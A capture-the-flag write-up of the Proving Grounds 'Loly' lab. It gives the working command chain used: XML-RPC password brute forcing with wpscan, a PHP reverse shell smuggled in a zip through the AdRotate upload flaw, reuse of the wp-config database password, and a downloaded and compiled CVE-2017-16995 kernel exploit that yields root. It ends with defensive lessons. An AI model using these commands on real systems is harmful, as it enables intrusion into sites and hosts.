the_open_door
coffee
ESEN

Loly

Proving Grounds PlayMediumLinux192.168.144.1214 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#oscp#wordpress#wpscan#xml-rpc#brute-force#adrotate#cve-2022-1206#file-upload#wp-config#credential-reuse#kernel-exploit#cve-2017-16995
TL;DR. WordPress with XML-RPC enabled: wpscan finds user loly and brute forcing xmlrpc.php yields loly:fernando. Inside the panel, the AdRotate plugin (CVE-2022-1206) lets you upload a .zip that is auto-extracted into /wp-content/banners/, so a PHP reverse shell inside the zip gives a shell as www-data. The wp-config.php stores lolyisabeautifulgirl, which is also the password of the loly user. The kernel is an Ubuntu 16.04 running 4.4.0-31, vulnerable to CVE-2017-16995, and that leads to root.

Reconnaissance#

Initial scan#

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.144.121
64 bytes from 192.168.144.121: icmp_seq=1 ttl=61 time=29.4 ms

The full TCP sweep leaves a single open port, 80. That sweep's output wasn't kept, and it is better to say so than to reconstruct it; what follows is the targeted scan against that port, an nginx:


nmap -p80 -sCV 192.168.144.121 -oN targetedScan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-28 18:31 UTC
Nmap scan report for 192.168.144.121 (192.168.144.121)
Host is up (0.030s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.33 seconds

WordPress - TCP 80#

The landing page is the default nginx, but dirsearch finds a WordPress under /wordpress:


dirsearch -u http://192.168.144.121 --exclude-status=403,404
200 - /wordpress/
200 - /wordpress/wp-login.php

The redirects point to the loly.lc vhost, so it goes into /etc/hosts for the WordPress to load properly:


echo '192.168.144.121 loly.lc' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
192.168.144.121 loly.lc

wpscan enumerates user loly, confirms XML-RPC is enabled and detects the AdRotate 5.8.6.2 plugin (out of date):


wpscan --url http://loly.lc/wordpress --enumerate u
[+] adrotate | Version: 5.8.6.2 (80% confidence)
[+] XML-RPC seems to be enabled: http://loly.lc/wordpress/xmlrpc.php
[+] loly (Author Posts - Display Name)

An enabled XML-RPC is a brute-force multiplier: xmlrpc.php allows batching credential guesses in a single request (system.multicall), far faster than hitting wp-login.php.

Shell as www-data#

XML-RPC brute force → loly:fernando#


wpscan --url http://loly.lc/wordpress --usernames loly -P /usr/share/wordlists/rockyou.txt
# Attack result

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - loly / fernando
Trying loly / admin Time: 00:00:00 <                                                                                   > (5 / 14344401)  0.00%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: loly, Password: fernando

loly:fernando logs into the admin panel.

WordPress login with loly:fernando validated after the XML-RPC brute force

AdRotate: file upload via .zip (CVE-2022-1206)#

AdRotate has a Manage Media section that uploads files to the banners folder. The key is the interface's own note: "Zip files are automatically extracted in the location where they are uploaded". The filter rejects .php, but it accepts .zip and extracts it by itself: put the PHP reverse shell inside a zip and after extraction it lands as a servable .php.

AdRotate Manage Media panel: uploads to banners and auto-extracts .zip


# pentestmonkey revshell with your own IP/port
zip rev.zip rev.php

In Manage Media we pick the banners folder, upload rev.zip and hit Upload file.

The interface itself lists the allowed extensions (jpg, jpeg, gif, png, svg, html, js and zip, up to 512 Kb per file), and there is the flaw: zip is on the list, it is extracted automatically and the original zip is deleted afterwards. The filter never gets to see the .php inside.

AdRotate confirms the upload ("Banner image saved") and, being a .zip, extracts it in banners/:

AdRotate shows Banner image saved after uploading rev.zip

With Penelope listening on its default 4444:


penelope
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.18.0.1 • 172.17.0.1 • 192.168.45.239

We browse the extracted rev.php path to trigger the shell:

http://loly.lc/wordpress/wp-content/banners/rev.php
[+] Got reverse shell from ubuntu~192.168.144.121-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/sessions/ubuntu~192.168.144.121-Linux-x86_64/2025_12_28-19_40_47-190.log
www-data@ubuntu:/$

The Failed to daemonise ... Connection timed out (110) the browser shows is not a failure: it is the php-reverse-shell saying it could not background itself, which is why the request hangs while the shell stays alive on the other side.

www-data@ubuntu:~$ cat local.txt && whoami && ip a && hostname
7ca974e3d2bbf63c979d30b6b054285f
www-data
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:36:69 brd ff:ff:ff:ff:ff:ff
    inet 192.168.144.121/24 brd 192.168.144.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:3669/64 scope link
       valid_lft forever preferred_lft forever
ubuntu

Shell as loly#

Password reused in wp-config.php#

The wp-config.php stores the database credentials, and here the MySQL password works as-is for the system user:


grep -i pass /var/www/html/wordpress/wp-config.php
define( 'DB_PASSWORD', 'lolyisabeautifulgirl' );

su loly    # password: lolyisabeautifulgirl
loly@ubuntu:/tmp$ id
uid=1000(loly) gid=1000(loly) groups=1000(loly),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

Reusing the password from wp-config.php as a system password is a classic pattern: the site and the user share the secret, and a single su is enough.

Privilege Escalation#

Kernel exploit - CVE-2017-16995#

The box is an Ubuntu 16.04 with an old kernel:


uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu ... x86_64

searchsploit 'Linux kernel 4.4.0' | grep -i "ubuntu 16.04"
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation        | linux_x86-64/local/40049.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                  | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                         | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation              | linux_x86-64/local/44300.c

45010.c (CVE-2017-16995, an eBPF verifier flaw allowing kernel memory read/write) covers exactly this < 4.13.9 kernel. It compiles and runs on the box itself.

On the attacker we copy the exploit, rename it to exploit.c and serve it over HTTP:


searchsploit -m 'linux/local/45010.c'
  Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/45010
     Path: /usr/share/exploitdb/exploits/linux/local/45010.c
    Codes: CVE-2017-16995
 Verified: True
File Type: C source, ASCII text
Copied to: /proving_grounds/loly/exploits/45010.c

mv 45010.c exploit.c

python3 -m http.server 80

And on the victim we download it, compile it and make it executable:


wget http://192.168.45.239/exploit.c
--2025-12-28 12:49:26--  http://192.168.45.239/exploit.c
Connecting to 192.168.45.239:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13176 (13K) [text/x-csrc]
Saving to: ‘exploit.c’

exploit.c                               100%[============================================================================>]  12.87K  --.-KB/s    in 0.04s

2025-12-28 12:49:26 (330 KB/s) - ‘exploit.c’ saved [13176/13176]

gcc exploit.c -o exploit

chmod +x exploit

The exploit sneaks a malicious eBPF program past the kernel verifier, patches the process credential structure and launches a UID 0 shell:

loly@ubuntu:/tmp$ ./exploit
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880035efcd00
[*] Leaking sock struct from ffff880035c11a40
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880035c439c0
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880035c439c0
[*] credentials patched, launching shell...
# whoami
root

cat /root/proof.txt && ip a && whoami && hostname
2ddf99e80a08dff38c6d96f2c6cf8660
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:36:69 brd ff:ff:ff:ff:ff:ff
    inet 192.168.144.121/24 brd 192.168.144.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:3669/64 scope link
       valid_lft forever preferred_lft forever
root
ubuntu

Attack chain#

WordPress /wordpress with XML-RPC enabled
  └─ wpscan: user loly + AdRotate 5.8.6.2 plugin
     └─ XML-RPC brute → loly:fernando
        └─ AdRotate Manage Media: auto-extracted .zip (CVE-2022-1206)
           └─ PHP reverse shell in the zip → www-data
              └─ wp-config.php: DB_PASSWORD lolyisabeautifulgirl → su loly
                 └─ kernel 4.4.0-31 (Ubuntu 16.04) → CVE-2017-16995 → root

Lessons learned#

  • An enabled XML-RPC makes WordPress brute forcing practical: system.multicall groups hundreds of attempts per request, and wpscan automates it. Disabling xmlrpc.php closes that accelerator.
  • An upload filter that rejects .php but accepts .zip and extracts it into the docroot is equivalent to allowing .php: the zip contents end up servable. AdRotate 5.8.6.2 did this without sanitizing.
  • wp-config.php secrets (DB_PASSWORD) tend to be reused as system passwords; it always pays to try the panel/DB one with su against local users.
  • A 4.4.0-31 kernel on Ubuntu 16.04 is a direct target for public exploits like CVE-2017-16995; in the real world this is a patching failure, not a config one, which is why keeping the kernel current cuts off an entire family of local escalations.
Command cheatsheet 11 commands

Quick review